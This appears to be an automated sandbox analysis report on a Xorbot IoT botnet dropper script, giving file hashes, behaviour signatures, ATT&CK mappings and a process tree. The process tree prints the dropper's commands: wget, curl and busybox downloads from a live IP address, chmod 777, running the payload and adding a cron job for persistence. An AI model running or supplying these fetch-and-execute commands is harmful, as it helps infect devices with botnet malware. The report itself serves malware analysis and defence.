xorbot | 12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44

Analysis

max time kernel
141s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04-12-2024 02:41

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General

Target

bins.sh
Size

10KB
MD5

437a00555767f8c3201fad3f0c8593c4
SHA1

4e504c7b16ed9c01b17acd57643c6aa2e1dc8996
SHA256

12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44
SHA512

3caf18ed0ab4540decbb2469237a14ee4874c23e0ad7b93531a1dd4c31e48375ae9793fef3bd53e8dd49a129b37f69476c46cc988a61a8d2ef21bfc7d4e4c1de
SSDEEP

192:cv4UQmpRVu66kkmhNiumVxXI4xkkmhNd8VxXI4DUQmpRFW:cv4UQmpRc6TmVxXI4ZVxXI4DUQmpRY

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2007) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
700	chmod

Executes dropped EXE 1 IoCs

Processes:

FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

ioc	pid	Process
/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	701	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

Renames itself 1 IoCs

Processes:

FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

pid	Process
702	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.mFxUsk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5crontab

description	ioc	Process
File opened for reading	/proc/303/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/716/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/870/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/861/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/951/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/866/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/968/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/791/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/20/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1008/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1065/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/748/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/792/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/793/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1002/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1058/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1076/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/753/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/988/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1100/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/790/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/139/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/945/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1037/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/446/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/713/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/751/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/762/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/767/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/773/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/980/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1082/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1098/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/831/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1051/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/10/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/954/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1048/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1054/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/745/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/856/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/921/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/973/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/846/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/982/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/730/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/837/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/769/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/808/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1042/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1052/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1085/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/804/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/882/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/892/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/720/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/741/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1014/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1060/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/939/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1045/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/1089/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
File opened for reading	/proc/3/cmdline	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	wget
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	curl
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:672
- /usr/bin/wget
  wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:676
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:691
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  ./FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:701
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:703
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:704
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:705
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:706
- /bin/rm
  rm FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  PID:711

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.mFxUsk

Filesize
210B

MD5
65e3e471f527ddb5d0c09a5a4fbe4a5b

SHA1
38add3d68b213b34eb3d93abd4f0c03b250accb8

SHA256
5199ad7e4c88ea08032420cc7f92916af029d78e0a74b5eccc99c335f573ec0b

SHA512
7a3483b58b7131263e4d8f646566a8ce0169b208511a1fe082d2f7a6f8151a83eac02a10d9f493c958b37216124cc308b17c291bb7126a1e17a4e1e499447897

Download Submit